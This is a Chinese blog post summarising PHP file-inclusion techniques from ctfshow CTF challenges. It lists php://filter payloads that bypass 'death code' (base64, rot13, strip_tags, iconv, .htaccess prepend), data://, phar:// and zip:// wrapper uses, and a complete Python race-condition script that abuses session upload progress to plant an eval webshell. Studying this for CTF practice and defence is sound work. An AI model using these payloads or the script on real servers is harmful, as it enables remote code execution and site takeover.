ctfshow-文件包含总结

PHP常用伪协议#

php://filter#

语法#


php://filter:/<action>=<name>

特别用法:

php://filter/string.rot13/amazingman113/String.rot13/resource=flag.php
参数 功能
read 读取
write 写入
resource 数据来源

read

参数值 作用
string.strip_tags 将数据流中的所有html标签清除
string.toupper 将数据流中的内容转换为大写
string.tolower 将数据流中的内容转换为小写
convert.base64-encode 将数据流中的内容转换为base64编码
convert.base64-decode 与上面对应解码

绕过死亡代码#

base64编码绕过


$filename='php://filter/convert.base64-decode/resource=s1mple.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+'; //加一个a将前面代码转化

rot13编码绕过


$filename='php://filter/string.rot13/resource=simple.php'
$content='<?cuc cucvasb();?>'

.htaccess的预包含利用

闭合标签使用strip_tags过滤标签达到消除死亡代码的效果

$filename=php://filter/write=string.strip_tags/resource=.htaccess

$content=?>php_value%20auto_prepend_file%20G:\s1mple.php

过滤器组合拳

  1. 先利用strip_tags过滤标签,再进行解码成功写入代码

$filename='php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php'
$content='?>PD9waHAgcGhwaW5mbygpOz8+'

  1. 压缩转小写后解压缩

$filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=s1mple.php
$content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=s1mple.php

  1. 利用.htaccess进行预包含

?content=php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20G:\s1mple.php%0a%23/resource=.htaccess

4. convert.iconv

这个过滤器需要php支持iconv,而iconv是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

方法
  1. usc-2 两位一反转(字符数量需为偶数)
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.ph

http://0b6cbb09-4547-46d7-9710-0154c8e14b60.challenge.ctf.show/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
contents=?<hp pe@av(l_$EG[T]x;)>?
  1. usc-4 四位一反转(字符数量需为4的倍数)
php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php
  1. utf-8与utf-7之间的转化

纯字符进行utf之间的转换后还是其本身,故可直接混淆死亡代码

php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=s1mple.php

php://input#

将要执行的php代码写在post中提交

file://#

和php://filter类似,但只能传入绝对路径

phar://#

可以查找指定压缩包内的文件

  1. 传入绝对路径
phar://C:/phpStudy/PHPTutorial/WWW/DVWA/vulnerabilities/fi/test.zip/test.txt
  1. 传入相对路径
phar://test.zip/test.txt

zip://#

用法与phar类似,但只能传入绝对路径且要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23

phar://C:/phpStudy/PHPTutorial/WWW/DVWA/vulnerabilities/fi/test.zip%23test.txt

data://#

  1. data:,<文本数据>
  2. data:text/html,<HTML代码>
  3. data:text/html;base64,<base64编码的HTML代码>
  4. data:text/css,<CSS代码>
  5. data:text/css;base64,<base64编码的CSS代码>
  6. data:text/javascript,<Javascript代码>
  7. data:text/javascript;base64,<base64编码的Javascript代码>
  8. data:image/gif;base64,base64编码的gif图片数据
  9. data:image/png;base64,base64编码的png图片数据
  10. data:image/jpeg;base64,base64编码的jpeg图片数据
  11. data:image/x-icon;base64,base64编码的icon图片数据
  12. data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4%3d (等于号和加号要进行url编码)
  13. http://127.0.0.1/code/1.php?file=data://text/plain,

http://#

也可以传入http://

无后缀文件包含#


import threading
import requests
import io

url = "http://4a44ab63-5c2e-4ef0-b0b7-1f265170cf57.challenge.ctf.show/"
sessionid = "ctfshow"
data = {
    "1": "file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
}


def write(session):
    fileBytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        response = session.post(url,
                                data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"},
                                cookies={"PHPSESSID": sessionid},
                                files={
                                    "files": ("ctfshow.jpg", fileBytes)
                                })


def read(session):
    while True:
        response = session.post(url + '?file=/tmp/sess_' + sessionid, data=data,
                                cookies={
                                    'PHPSESSID': sessionid
                                })
        response2 = session.get(url + '2.php')
        if response2.status_code == 200:
            print('++++++done++++++')
        elif response2.status_code == 503:
            continue
        else:
            print(response2.status_code)


if __name__ == '__main__':

    event = threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()

    event.set()


posted @   amazingman113  阅读(268)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示
主题色彩